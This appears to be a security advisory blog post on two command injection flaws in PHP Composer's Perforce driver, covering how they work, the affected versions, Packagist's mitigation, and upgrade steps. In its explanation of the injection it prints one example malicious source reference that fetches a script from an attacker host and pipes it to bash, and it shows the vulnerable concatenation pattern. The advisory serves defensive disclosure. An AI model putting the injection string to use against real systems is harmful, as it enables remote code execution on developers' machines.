Skip to main content
2026-04-14
6 min read

Two Composer Command Injection Flaws Let Attackers Run Arbitrary Code - Even Without Perforce

Two Composer Command Injection Flaws Let Attackers Run Arbitrary Code - Even Without Perforce

TLDR

Two command injection vulnerabilities in PHP Composer's Perforce driver were disclosed on April 14, 2026. The worse one (CVE-2026-40261, CVSS 8.8) can be triggered through malicious package metadata from any Composer repository - a supply chain attack that runs OS commands on your machine when you install dependencies. Neither vulnerability requires Perforce to be installed. Upgrade to Composer 2.9.6 or 2.2.27 (LTS) immediately.

composer self-update

What happened

Composer builds shell commands internally when working with Perforce repositories. Two methods in src/Composer/Util/Perforce.php were concatenating user-supplied values directly into those shell commands without escaping them.

If an attacker can control certain fields - a Perforce source reference, port, user, or client value - they can inject arbitrary shell commands that execute on your machine.

The critical detail: Perforce doesn't need to be installed. The shell command is constructed and executed regardless. The injected payload runs before the shell even looks for the p4 binary.

Two CVEs, two attack surfaces

CVE-2026-40261 - Supply chain attack via repository metadata (CVSS 8.8)

This is the dangerous one. Any package in any Composer repository can declare perforce as a source type with a malicious source reference. When you install or update that package from source, the injected commands execute on your machine.

The attack works through normal dependency installation. You don't need to use Perforce yourself. You don't need to do anything unusual. You just need one malicious or compromised package in your dependency tree.

Affected methods: Perforce::syncCodeBase() and Perforce::generateP4Command()

Attack vector: Network - exploitable through any Composer repository

Affected versions: Composer >= 2.0, < 2.2.27 and >= 2.3, < 2.9.6

CVE-2026-40176 - Local attack via root composer.json (CVSS 7.8)

This one has a narrower attack surface. Composer only loads VCS repository definitions from the root composer.json (the one in your project directory) and your global Composer config. Dependency packages can't inject repository definitions upward.

The realistic scenario: you clone a malicious repository and run composer install. The crafted Perforce repository definition in composer.json triggers command execution.

Affected method: Perforce::generateP4Command()

Attack vector: Local - requires a malicious root composer.json

Affected versions: Same as above

Side by side

CVE-2026-40261 CVE-2026-40176
CVSS 8.8 7.8
Attack vector Network (package metadata) Local (root composer.json)
Supply chain risk High Low
Exploitable via dependencies Yes No
Requires Perforce No No

How the injection works

Composer's Perforce driver built shell commands by string concatenation:

// Simplified example of the vulnerable pattern
$command = 'p4 -p ' . $this->getP4Port() . ' -u ' . $this->getUser() . ' sync ' . $sourceRef;

A malicious source reference like:

; curl attacker.com/shell.sh | bash ;

gets concatenated directly into the command string and executed by the shell. The fix uses ProcessExecutor::escape() and array-based command construction instead of string interpolation.

What Packagist did

Packagist acted before the public disclosure. On April 10 - four days before the CVEs were published - they disabled Perforce source metadata across Packagist.org and Private Packagist. This means the supply chain vector (CVE-2026-40261) is blocked for packages served through Packagist, even if you haven't upgraded Composer yet.

If you run a self-hosted Composer repository (Satis, Private Packagist Self-Hosted, or anything custom), that protection doesn't apply to you. Upgrade Composer.

Who's affected

You're affected if you run Composer 2.x before 2.9.6 (or before 2.2.27 on the LTS branch). That's basically everyone.

You're at higher risk if:

  • You install packages from source (--prefer-source or dev dependencies)
  • You use third-party or self-hosted Composer repositories
  • You run composer install on untrusted projects (open source contributions, code review)
  • Your CI/CD pipeline runs Composer without pinned versions

You're at lower risk if you only install from Packagist with --prefer-dist (the default), since Packagist disabled Perforce metadata. But "lower risk" isn't "no risk" - upgrade anyway.

What to do

Upgrade Composer immediately:

composer self-update

This gets you 2.9.6 on mainline. If you're on the 2.2 LTS branch:

composer self-update --2.2

Check your version:

composer --version
# Should show 2.9.6 or 2.2.27+

In CI/CD pipelines, update your Composer installation step. If you use Docker images with pre-installed Composer, rebuild them. If you use composer/composer Docker images, pull the latest tag.

If you can't upgrade right now, these workarounds reduce exposure:

  • Use --prefer-dist for all installs (avoids source checkout entirely)
  • Add "preferred-install": "dist" to your composer.json config section
  • Only install from trusted repositories
  • Don't run Composer on untrusted projects

The pattern keeps repeating

This isn't the first time Composer's VCS drivers have had command injection issues:

  • CVE-2021-29472: Command injection via Mercurial --config option
  • CVE-2022-24828: Command injection via malicious git/hg branch names
  • CVE-2024-35241: Command injection via malicious git branch names (found during a Cure53 audit)

Every few years, a new VCS driver method is found that concatenates user input into shell commands. The Perforce driver was the last one that hadn't been hardened.

The good news: the Composer 2.9.6 release also includes hardened input validation for git, hg, and fossil identifiers, blocking branch names that start with - (which could be interpreted as command-line flags). This suggests the maintainers did a broader pass this time, not just a point fix.

Bottom line

If you use PHP and Composer, run composer self-update today. Neither vulnerability has been exploited in the wild (according to Packagist), and Packagist's proactive metadata removal limits the supply chain risk. But the fix is one command. Don't wait.

References:

Published: 2026-04-14

Found an issue?